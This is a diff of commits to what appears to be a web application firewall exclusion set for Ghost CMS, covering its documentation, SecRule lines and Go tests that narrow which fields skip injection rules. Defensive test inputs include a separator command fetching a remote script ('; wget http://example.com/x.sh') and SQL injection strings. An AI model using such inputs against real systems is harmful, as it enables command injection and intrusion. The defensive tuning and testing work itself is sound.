Compare commits
4
Commits
1aee099fd4
..
next
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
94d60358ee | ||
|
|
3304beca46 | ||
|
|
101cc0aba5 | ||
|
|
c4bf76c966 |
No files matched your search
@@ -1762,8 +1762,10 @@ These query fields skip some rules:
|
|||||||
the Admin API;
|
the Admin API;
|
||||||
- `url`, the address the editor looks up for an embed or a bookmark, skips
|
- `url`, the address the editor looks up for an embed or a bookmark, skips
|
||||||
930120 and 932120;
|
930120 and 932120;
|
||||||
- `pathname`, `source` and the `utm_` fields, which filter the analytics, skip
|
- `source` and the `utm_` fields, which filter the analytics, skip those eight
|
||||||
those eight rules under `/ghost/api/admin/stats/`;
|
rules under `/ghost/api/admin/stats/`;
|
||||||
|
- `pathname`, the page the analytics show, skips 930120, 932120 and 932260
|
||||||
|
there;
|
||||||
- `email_segment`, the members a post is sent to as a newsletter, skips 932120
|
- `email_segment`, the members a post is sent to as a newsletter, skips 932120
|
||||||
on the Admin API's posts;
|
on the Admin API's posts;
|
||||||
- `query`, a search for an account in ActivityPub, skips those eight rules;
|
- `query`, a search for an account in ActivityPub, skips those eight rules;
|
||||||
@@ -1808,17 +1810,25 @@ sent as `username` when signing in, and as `email` in these requests:
|
|||||||
- inviting a staff user;
|
- inviting a staff user;
|
||||||
- accepting an invitation.
|
- accepting an invitation.
|
||||||
|
|
||||||
In ActivityPub, an account's handle skips 930120 and 932120. The domain of the
|
In ActivityPub, an account's handle and its address skip 930120 and 932120. The
|
||||||
site's handle skips 930120, 932120 and 932260. Each field skips its rules only
|
domain of the site's handle skips 930120, 932120 and 932260. Each field skips
|
||||||
on its own path:
|
its rules only on its own path:
|
||||||
|
|
||||||
- `sourceHandle`, an account that moves here, at
|
- `sourceHandle`, an account that moves here, when it is added at
|
||||||
`/.ghost/activitypub/v1/aliases`;
|
`/.ghost/activitypub/v1/aliases`;
|
||||||
|
- `actorUri`, that account's address, when the admin removes it there;
|
||||||
- `targetHandle`, the account this one moves to, at
|
- `targetHandle`, the account this one moves to, at
|
||||||
`/.ghost/activitypub/v1/migration`;
|
`/.ghost/activitypub/v1/migration`;
|
||||||
- `domain`, saved at `/.ghost/activitypub/v1/domain` and checked at
|
- `domain`, saved at `/.ghost/activitypub/v1/domain` and checked at
|
||||||
`/.ghost/activitypub/v1/domain/validate`.
|
`/.ghost/activitypub/v1/domain/validate`.
|
||||||
|
|
||||||
|
The `canonical_url` of a post, a page or a tag skips 930120 and 932120, as `url`
|
||||||
|
does. Each skips them only on its own path:
|
||||||
|
|
||||||
|
- a post's under `/ghost/api/admin/posts/`;
|
||||||
|
- a page's under `/ghost/api/admin/pages/`;
|
||||||
|
- a tag's under `/ghost/api/admin/tags/`.
|
||||||
|
|
||||||
The articles carry HTML on purpose. These fields on the Admin API hold them:
|
The articles carry HTML on purpose. These fields on the Admin API hold them:
|
||||||
|
|
||||||
- `lexical`, which the editor saves, and `mobiledoc` and `html`, which
|
- `lexical`, which the editor saves, and `mobiledoc` and `html`, which
|
||||||
@@ -1864,7 +1874,8 @@ field above. Script injection is too, outside the articles and code injection.
|
|||||||
`; wget http://example.com/x.sh` is still refused in these fields:
|
`; wget http://example.com/x.sh` is still refused in these fields:
|
||||||
|
|
||||||
- the addresses, the handles and the domain;
|
- the addresses, the handles and the domain;
|
||||||
- `search`, `url`, `email_segment` and `email`.
|
- the `canonical_url` of posts, pages and tags;
|
||||||
|
- `search`, `url`, `pathname`, `email_segment` and `email`.
|
||||||
|
|
||||||
The other fields above skip 932235, which refuses that command but also refuses
|
The other fields above skip 932235, which refuses that command but also refuses
|
||||||
`powershell & python3`.
|
`powershell & python3`.
|
||||||
|
|||||||
@@ -57,25 +57,35 @@ SecRule REQUEST_FILENAME "@streq /ghost/api/admin/oembed/" \
|
|||||||
ctl:ruleRemoveTargetById=930120;ARGS:url,\
|
ctl:ruleRemoveTargetById=930120;ARGS:url,\
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:url"
|
ctl:ruleRemoveTargetById=932120;ARGS:url"
|
||||||
|
|
||||||
# The query fields of the analytics pages skip the eight rules that 900353
|
# The query fields that filter the analytics skip the eight rules that 900353
|
||||||
# lists, on /ghost/api/admin/stats/:
|
# lists, on /ghost/api/admin/stats/:
|
||||||
# 930120: pathname=/.htaccess
|
|
||||||
# 932120: source=powershell.example.com
|
# 932120: source=powershell.example.com
|
||||||
# 932235, 932260: utm_campaign=powershell & python3
|
# 932235, 932260: utm_campaign=powershell & python3
|
||||||
# 932250: utm_term=ls -la
|
# 932250: utm_term=ls -la
|
||||||
# These fields filter the figures by a page, the site a visit came from, or a
|
# These fields filter the figures by the site a visit came from, or a
|
||||||
# campaign: pathname, source, utm_source, utm_medium, utm_campaign,
|
# campaign: source, utm_source, utm_medium, utm_campaign, utm_content and
|
||||||
# utm_content and utm_term.
|
# utm_term.
|
||||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/stats/" \
|
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/stats/" \
|
||||||
"id:900367,phase:1,pass,nolog,\
|
"id:900367,phase:1,pass,nolog,\
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:pathname|source|utm_(?:source|medium|campaign|content|term))$/,\
|
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:pathname|source|utm_(?:source|medium|campaign|content|term))$/,\
|
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:pathname|source|utm_(?:source|medium|campaign|content|term))$/,\
|
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:pathname|source|utm_(?:source|medium|campaign|content|term))$/,\
|
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||||
ctl:ruleRemoveTargetById=932235;ARGS:/^(?:pathname|source|utm_(?:source|medium|campaign|content|term))$/,\
|
ctl:ruleRemoveTargetById=932235;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:pathname|source|utm_(?:source|medium|campaign|content|term))$/,\
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:pathname|source|utm_(?:source|medium|campaign|content|term))$/,\
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:pathname|source|utm_(?:source|medium|campaign|content|term))$/"
|
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/"
|
||||||
|
|
||||||
|
# pathname, the page the analytics show, skips three rules on
|
||||||
|
# /ghost/api/admin/stats/, which refused the path of a post and of tag pages:
|
||||||
|
# 930120: pathname=/tag/proc/
|
||||||
|
# 932120: pathname=/python3-and-powershell/
|
||||||
|
# 932260: pathname=/tag/python3/
|
||||||
|
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/stats/" \
|
||||||
|
"id:900385,phase:1,pass,nolog,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:pathname,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:pathname,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:pathname"
|
||||||
|
|
||||||
# email_segment, the members a post is sent to as a newsletter, skips 932120
|
# email_segment, the members a post is sent to as a newsletter, skips 932120
|
||||||
# on the Admin API's posts: email_segment=label:powershell-users.
|
# on the Admin API's posts: email_segment=label:powershell-users.
|
||||||
@@ -299,22 +309,27 @@ SecRule REQUEST_FILENAME "@streq /ghost/api/admin/authentication/invitation/" \
|
|||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.invitation\.\d+\.email$/,\
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.invitation\.\d+\.email$/,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.invitation\.\d+\.email$/"
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.invitation\.\d+\.email$/"
|
||||||
|
|
||||||
# In ActivityPub, an account's handle skips 930120 and 932120, which refused
|
# In ActivityPub, an account's handle and its address skip 930120 and 932120.
|
||||||
# @erin.htaccess@example.com and @powershell@example.com. A handle starts with
|
# They refused the handles @erin.htaccess@example.com and
|
||||||
# an @, so 932260 does not refuse @python3.dev@example.com. The domain of the
|
# @powershell@example.com, and the addresses
|
||||||
# site's handle skips the same three rules as an address, which refused
|
# https://example.com/users/erin.htaccess and
|
||||||
|
# https://example.com/users/powershell. A handle starts with an @, so 932260
|
||||||
|
# does not refuse @python3.dev@example.com. The domain of the site's handle
|
||||||
|
# skips the same three rules as an email address, which refused
|
||||||
# erin.htaccess.example.com, powershell.example.com and python3.example.com.
|
# erin.htaccess.example.com, powershell.example.com and python3.example.com.
|
||||||
# Each of these fields skips them only on its own path:
|
# Each of these fields skips them only on its own path:
|
||||||
# sourceHandle, an account that moves here, at /.ghost/activitypub/v1/aliases
|
# sourceHandle, an account that moves here, added at
|
||||||
|
# /.ghost/activitypub/v1/aliases
|
||||||
|
# actorUri, that account's address, when the admin removes it there
|
||||||
# targetHandle, the account this one moves to, at
|
# targetHandle, the account this one moves to, at
|
||||||
# /.ghost/activitypub/v1/migration
|
# /.ghost/activitypub/v1/migration
|
||||||
# domain, saved at /.ghost/activitypub/v1/domain and checked at
|
# domain, saved at /.ghost/activitypub/v1/domain and checked at
|
||||||
# /.ghost/activitypub/v1/domain/validate
|
# /.ghost/activitypub/v1/domain/validate
|
||||||
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/aliases" \
|
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/aliases" \
|
||||||
"id:900379,phase:1,pass,nolog,chain"
|
"id:900379,phase:1,pass,nolog,chain"
|
||||||
SecRule &ARGS_GET:/^json\.sourcehandle$/ "@eq 0" \
|
SecRule &ARGS_GET:/^json\.(?:sourcehandle|actoruri)$/ "@eq 0" \
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.sourcehandle$/,\
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:sourcehandle|actoruri)$/,\
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.sourcehandle$/"
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:sourcehandle|actoruri)$/"
|
||||||
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/migration" \
|
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/migration" \
|
||||||
"id:900380,phase:1,pass,nolog,chain"
|
"id:900380,phase:1,pass,nolog,chain"
|
||||||
SecRule &ARGS_GET:/^json\.targethandle$/ "@eq 0" \
|
SecRule &ARGS_GET:/^json\.targethandle$/ "@eq 0" \
|
||||||
@@ -413,6 +428,23 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
|||||||
SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html|codeinjection_(?:head|foot))|settings\.\d+\.value)$/ "@eq 0" \
|
SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html|codeinjection_(?:head|foot))|settings\.\d+\.value)$/ "@eq 0" \
|
||||||
"ctl:ruleRemoveTargetById=941110;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html|codeinjection_(?:head|foot))|settings\.\d+\.value)$/"
|
"ctl:ruleRemoveTargetById=941110;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html|codeinjection_(?:head|foot))|settings\.\d+\.value)$/"
|
||||||
|
|
||||||
|
# The canonical URL of a post or a page skips the two rules that url skips:
|
||||||
|
# 930120: https://example.com/blog/.htaccess/
|
||||||
|
# 932120: https://example.com/blog/powershell/
|
||||||
|
# Each of these fields skips them only on its own path:
|
||||||
|
# posts.<n>.canonical_url, under /ghost/api/admin/posts/
|
||||||
|
# pages.<n>.canonical_url, under /ghost/api/admin/pages/
|
||||||
|
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/posts/" \
|
||||||
|
"id:900383,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.posts\.\d+\.canonical_url$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.posts\.\d+\.canonical_url$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.posts\.\d+\.canonical_url$/"
|
||||||
|
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/pages/" \
|
||||||
|
"id:900384,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.pages\.\d+\.canonical_url$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.pages\.\d+\.canonical_url$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.pages\.\d+\.canonical_url$/"
|
||||||
|
|
||||||
# Saving a staff user's profile sends the field profile_image, whose name holds
|
# Saving a staff user's profile sends the field profile_image, whose name holds
|
||||||
# .profile, a file the list of system files names (930120).
|
# .profile, a file the list of system files names (930120).
|
||||||
SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
|
SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
|
||||||
@@ -440,6 +472,16 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/tags/" \
|
|||||||
ctl:ruleRemoveTargetById=941160;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
ctl:ruleRemoveTargetById=941160;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||||
ctl:ruleRemoveTargetById=941270;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/"
|
ctl:ruleRemoveTargetById=941270;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/"
|
||||||
|
|
||||||
|
# A tag's canonical URL, tags.<n>.canonical_url under /ghost/api/admin/tags/,
|
||||||
|
# skips the two rules that url skips:
|
||||||
|
# 930120: https://example.com/tag/.htaccess/
|
||||||
|
# 932120: https://example.com/tag/powershell/
|
||||||
|
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/tags/" \
|
||||||
|
"id:900382,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.tags\.\d+\.canonical_url$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.tags\.\d+\.canonical_url$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.tags\.\d+\.canonical_url$/"
|
||||||
|
|
||||||
# The passwords, which skip each rule that random passwords set off:
|
# The passwords, which skip each rule that random passwords set off:
|
||||||
# password, signing in at /ghost/api/admin/session/
|
# password, signing in at /ghost/api/admin/session/
|
||||||
# setup.<n>.password, creating the first staff user
|
# setup.<n>.password, creating the first staff user
|
||||||
|
|||||||
@@ -280,6 +280,24 @@ var ghostDomainFields = []ghostField{
|
|||||||
{http.MethodPost, ghostDomain + "/validate", `{"domain":"VALUE"}`},
|
{http.MethodPost, ghostDomain + "/validate", `{"domain":"VALUE"}`},
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ghostURLFields hold the canonical URL of a post, a page or a tag, or the
|
||||||
|
// address of an account removed from those that move here in ActivityPub.
|
||||||
|
// They skip 930120 and 932120, as url does.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
|
var ghostURLFields = []ghostField{
|
||||||
|
{http.MethodPut, ghostPost, `{"posts":[{"canonical_url":"VALUE"}]}`},
|
||||||
|
{http.MethodPost, ghostPosts, `{"posts":[{"canonical_url":"VALUE"}]}`},
|
||||||
|
{http.MethodPut, ghostPage, `{"pages":[{"canonical_url":"VALUE"}]}`},
|
||||||
|
{http.MethodPost, ghostTags, `{"tags":[{"canonical_url":"VALUE"}]}`},
|
||||||
|
{
|
||||||
|
http.MethodPut,
|
||||||
|
ghostTags + "6af45d4ed281b00001a599a8/",
|
||||||
|
`{"tags":[{"canonical_url":"VALUE"}]}`,
|
||||||
|
},
|
||||||
|
{http.MethodDelete, ghostAliases, `{"actorUri":"VALUE"}`},
|
||||||
|
}
|
||||||
|
|
||||||
// ghostPostFields hold a post or a page, skip the rules of 900355, and take a
|
// ghostPostFields hold a post or a page, skip the rules of 900355, and take a
|
||||||
// <script> element by 900366.
|
// <script> element by 900366.
|
||||||
//
|
//
|
||||||
@@ -367,6 +385,19 @@ const (
|
|||||||
ghostInvitedEmail = ghostInvitation + "?email="
|
ghostInvitedEmail = ghostInvitation + "?email="
|
||||||
)
|
)
|
||||||
|
|
||||||
|
// ghostAnalyticsFilters are source and the utm_ fields, which filter the
|
||||||
|
// analytics, each ending in "=".
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
|
var ghostAnalyticsFilters = []string{
|
||||||
|
ghostSource,
|
||||||
|
ghostStats + "&utm_source=",
|
||||||
|
ghostStats + "&utm_medium=",
|
||||||
|
ghostCampaign,
|
||||||
|
ghostStats + "&utm_content=",
|
||||||
|
ghostStats + "&utm_term=",
|
||||||
|
}
|
||||||
|
|
||||||
// ghostQueryFields are the query fields that skip some rules.
|
// ghostQueryFields are the query fields that skip some rules.
|
||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
@@ -379,13 +410,16 @@ var ghostQueryFields = []string{
|
|||||||
// ghostCommandNames joins two command names, as an ordinary title can.
|
// ghostCommandNames joins two command names, as an ordinary title can.
|
||||||
const ghostCommandNames = "powershell & python3"
|
const ghostCommandNames = "powershell & python3"
|
||||||
|
|
||||||
// ghostURLs are addresses 930120 and 932120 refused in url.
|
// ghostURLs are addresses 930120 and 932120 refused in url and in
|
||||||
|
// ghostURLFields.
|
||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
var ghostURLs = []string{
|
var ghostURLs = []string{
|
||||||
"https://github.com/example/site/blob/main/.htaccess",
|
"https://github.com/example/site/blob/main/.htaccess",
|
||||||
"https://example.com/blog/powershell-tips?ref=ghost",
|
"https://example.com/blog/powershell-tips?ref=ghost",
|
||||||
"https://example.com/docs/python3/",
|
"https://example.com/docs/python3/",
|
||||||
|
"https://example.com/blog/powershell/",
|
||||||
|
"https://example.com/blog/.htaccess/",
|
||||||
}
|
}
|
||||||
|
|
||||||
// ghostAddresses are addresses 930120, 932120 and 932260 refused.
|
// ghostAddresses are addresses 930120, 932120 and 932260 refused.
|
||||||
@@ -495,6 +529,10 @@ func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
|
|||||||
|
|
||||||
for _, address := range ghostURLs {
|
for _, address := range ghostURLs {
|
||||||
wantGhostQuery(t, ghostEmbed+url.QueryEscape(address), false)
|
wantGhostQuery(t, ghostEmbed+url.QueryEscape(address), false)
|
||||||
|
|
||||||
|
for _, f := range ghostURLFields {
|
||||||
|
wantGhostField(t, f, address, false)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, address := range ghostAddresses {
|
for _, address := range ghostAddresses {
|
||||||
@@ -578,8 +616,8 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
|||||||
|
|
||||||
for _, attack := range ghostAttacks {
|
for _, attack := range ghostAttacks {
|
||||||
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
|
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
|
||||||
ghostHandleFields, ghostDomainFields, ghostArticleFields,
|
ghostHandleFields, ghostDomainFields, ghostURLFields,
|
||||||
ghostCodeFields) {
|
ghostArticleFields, ghostCodeFields) {
|
||||||
wantGhostField(t, f, attack, true)
|
wantGhostField(t, f, attack, true)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -591,7 +629,7 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
|||||||
// A script injection stays refused in every field that does not take a
|
// A script injection stays refused in every field that does not take a
|
||||||
// <script> element.
|
// <script> element.
|
||||||
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
|
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
|
||||||
ghostHandleFields, ghostDomainFields,
|
ghostHandleFields, ghostDomainFields, ghostURLFields,
|
||||||
ghostSnippetAndNewsletterFooterFields) {
|
ghostSnippetAndNewsletterFooterFields) {
|
||||||
wantGhostField(t, f, scriptTag, true)
|
wantGhostField(t, f, scriptTag, true)
|
||||||
}
|
}
|
||||||
@@ -601,16 +639,17 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// A command after a separator stays refused wherever 932235 does not
|
// A command after a separator stays refused wherever 932235 does not
|
||||||
// misfire: in the addresses, handles, the domain, search, url,
|
// misfire: in the addresses, handles, the domain, ghostURLFields, search,
|
||||||
// email_segment and email. The other fields skip 932235, which refuses
|
// url, pathname, email_segment and email. The other fields skip 932235,
|
||||||
// "powershell & python3" as it refuses this.
|
// which refuses "powershell & python3" as it refuses this.
|
||||||
for _, f := range slices.Concat(ghostAddressFields, ghostHandleFields,
|
for _, f := range slices.Concat(ghostAddressFields, ghostHandleFields,
|
||||||
ghostDomainFields) {
|
ghostDomainFields, ghostURLFields) {
|
||||||
wantGhostField(t, f, commandAfterASeparator, true)
|
wantGhostField(t, f, commandAfterASeparator, true)
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, target := range []string{
|
for _, target := range []string{
|
||||||
ghostSearch, ghostEmbed, ghostSegment, ghostInvitedEmail,
|
ghostSearch, ghostEmbed, ghostPathname, ghostSegment,
|
||||||
|
ghostInvitedEmail,
|
||||||
} {
|
} {
|
||||||
wantGhostQuery(
|
wantGhostQuery(
|
||||||
t,
|
t,
|
||||||
@@ -649,10 +688,6 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
|||||||
func TestGhostTwoCommandNamesPass(t *testing.T) {
|
func TestGhostTwoCommandNamesPass(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
for _, f := range slices.Concat(ghostTextFields, ghostCodeFields) {
|
|
||||||
wantGhostField(t, f, ghostCommandNames, false)
|
|
||||||
}
|
|
||||||
|
|
||||||
// The site's title, saved through settings.
|
// The site's title, saved through settings.
|
||||||
siteTitle := ghostField{
|
siteTitle := ghostField{
|
||||||
http.MethodPut,
|
http.MethodPut,
|
||||||
@@ -661,12 +696,26 @@ func TestGhostTwoCommandNamesPass(t *testing.T) {
|
|||||||
}
|
}
|
||||||
wantGhostField(t, siteTitle, ghostCommandNames, false)
|
wantGhostField(t, siteTitle, ghostCommandNames, false)
|
||||||
|
|
||||||
// filter as the admin's post picker writes it, after a person types a
|
// Values that join two command names, as a person types them.
|
||||||
// title that joins two command names.
|
|
||||||
for _, typed := range []string{
|
for _, typed := range []string{
|
||||||
ghostCommandNames, "python3 & powershell", "powershell & ls -la",
|
ghostCommandNames, "python3 & powershell", "powershell & ls -la",
|
||||||
"ls -la & python3",
|
"ls -la & python3",
|
||||||
} {
|
} {
|
||||||
|
for _, f := range slices.Concat(ghostTextFields, ghostCodeFields) {
|
||||||
|
wantGhostField(t, f, typed, false)
|
||||||
|
}
|
||||||
|
|
||||||
|
wantGhostImportLabel(t, ghostImport, typed, false)
|
||||||
|
|
||||||
|
for _, target := range slices.Concat(
|
||||||
|
ghostAnalyticsFilters,
|
||||||
|
[]string{ghostAccountSearch},
|
||||||
|
) {
|
||||||
|
wantGhostQuery(t, target+url.QueryEscape(typed), false)
|
||||||
|
}
|
||||||
|
|
||||||
|
// filter as the admin's post picker writes it, after a person types
|
||||||
|
// such a title.
|
||||||
filter := "status:published+title:~'" + typed + "'"
|
filter := "status:published+title:~'" + typed + "'"
|
||||||
wantGhostQuery(t, ghostAdminFilter+url.QueryEscape(filter), false)
|
wantGhostQuery(t, ghostAdminFilter+url.QueryEscape(filter), false)
|
||||||
}
|
}
|
||||||
@@ -682,16 +731,21 @@ func TestGhostOrdinaryQueriesPass(t *testing.T) {
|
|||||||
value, _ := url.QueryUnescape(encoded)
|
value, _ := url.QueryUnescape(encoded)
|
||||||
text := url.QueryEscape("Notes on " + value + " & tidy files")
|
text := url.QueryEscape("Notes on " + value + " & tidy files")
|
||||||
|
|
||||||
wantGhostQuery(
|
for _, target := range ghostAnalyticsFilters {
|
||||||
t,
|
wantGhostQuery(t, target+encoded, false)
|
||||||
ghostPathname+url.QueryEscape("/"+value+"/"),
|
}
|
||||||
false,
|
|
||||||
)
|
|
||||||
wantGhostQuery(t, ghostSource+encoded, false)
|
|
||||||
wantGhostQuery(t, ghostCampaign+text, false)
|
wantGhostQuery(t, ghostCampaign+text, false)
|
||||||
wantGhostQuery(t, ghostAccountSearch+text, false)
|
wantGhostQuery(t, ghostAccountSearch+text, false)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// pathname, the page the analytics show: a post and two tag pages.
|
||||||
|
for _, path := range []string{
|
||||||
|
"/tag/proc/", "/python3-and-powershell/", "/tag/python3/",
|
||||||
|
} {
|
||||||
|
wantGhostQuery(t, ghostPathname+url.QueryEscape(path), false)
|
||||||
|
}
|
||||||
|
|
||||||
wantGhostQuery(
|
wantGhostQuery(
|
||||||
t,
|
t,
|
||||||
ghostCampaign+url.QueryEscape(ghostCommandNames),
|
ghostCampaign+url.QueryEscape(ghostCommandNames),
|
||||||
@@ -772,6 +826,8 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
|
|||||||
setupEmail = `{"setup":[{"email":"python3.dev@example.com"}]}`
|
setupEmail = `{"setup":[{"email":"python3.dev@example.com"}]}`
|
||||||
passwordResetEmail = `{"password_reset":[{"email":"python3.dev@example.com"}]}`
|
passwordResetEmail = `{"password_reset":[{"email":"python3.dev@example.com"}]}`
|
||||||
userEmail = `{"users":[{"email":"python3.dev@example.com"}]}`
|
userEmail = `{"users":[{"email":"python3.dev@example.com"}]}`
|
||||||
|
postURL = `{"posts":[{"canonical_url":"https://example.com/powershell/"}]}`
|
||||||
|
pageURL = `{"pages":[{"canonical_url":"https://example.com/powershell/"}]}`
|
||||||
)
|
)
|
||||||
|
|
||||||
for _, refused := range []struct{ target, body string }{
|
for _, refused := range []struct{ target, body string }{
|
||||||
@@ -807,6 +863,12 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
|
|||||||
{ghostPasswordReset + "?json.password_reset.0.email=x", passwordResetEmail},
|
{ghostPasswordReset + "?json.password_reset.0.email=x", passwordResetEmail},
|
||||||
{ghostPosts, userEmail},
|
{ghostPosts, userEmail},
|
||||||
{ghostUser + "?json.users.0.email=x", userEmail},
|
{ghostUser + "?json.users.0.email=x", userEmail},
|
||||||
|
{"/api/posts/1/", postURL},
|
||||||
|
{ghostMembers, postURL},
|
||||||
|
{ghostPage, postURL},
|
||||||
|
{ghostPost + "?json.posts.0.canonical_url=x", postURL},
|
||||||
|
{ghostPost, pageURL},
|
||||||
|
{ghostPage + "?json.pages.0.canonical_url=x", pageURL},
|
||||||
{ghostSession, `{"username":"x","pass":"' OR '1'='1"}`},
|
{ghostSession, `{"username":"x","pass":"' OR '1'='1"}`},
|
||||||
{"/ghost/api/admin/users/me/", `{"password":"' OR '1'='1"}`},
|
{"/ghost/api/admin/users/me/", `{"password":"' OR '1'='1"}`},
|
||||||
{"/ghost/api/admin/posts/1/", `{"users":[{"profile_image":null}]}`},
|
{"/ghost/api/admin/posts/1/", `{"users":[{"profile_image":null}]}`},
|
||||||
@@ -897,7 +959,7 @@ func TestGhostQueryExclusionsAreNarrow(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// TestGhostStaffCommentAndActivityPubExclusionsAreNarrow checks the body
|
// TestGhostStaffCommentAndActivityPubExclusionsAreNarrow checks the body
|
||||||
// fields that 900370 to 900381 name, as TestGhostExclusionsAreNarrow checks
|
// fields that 900370 to 900382 name, as TestGhostExclusionsAreNarrow checks
|
||||||
// the others: each keeps its rules on another path, and when the query has
|
// the others: each keeps its rules on another path, and when the query has
|
||||||
// a field of the same name.
|
// a field of the same name.
|
||||||
func TestGhostStaffCommentAndActivityPubExclusionsAreNarrow(t *testing.T) {
|
func TestGhostStaffCommentAndActivityPubExclusionsAreNarrow(t *testing.T) {
|
||||||
@@ -912,9 +974,11 @@ func TestGhostStaffCommentAndActivityPubExclusionsAreNarrow(t *testing.T) {
|
|||||||
invited = `{"invites":[{"email":"python3.dev@example.com"}]}`
|
invited = `{"invites":[{"email":"python3.dev@example.com"}]}`
|
||||||
accepted = `{"invitation":[{"email":"python3.dev@example.com"}]}`
|
accepted = `{"invitation":[{"email":"python3.dev@example.com"}]}`
|
||||||
sourceHandle = `{"sourceHandle":"@powershell@example.com"}`
|
sourceHandle = `{"sourceHandle":"@powershell@example.com"}`
|
||||||
|
actorURI = `{"actorUri":"https://example.com/users/powershell"}`
|
||||||
targetHandle = `{"targetHandle":"@powershell@example.com"}`
|
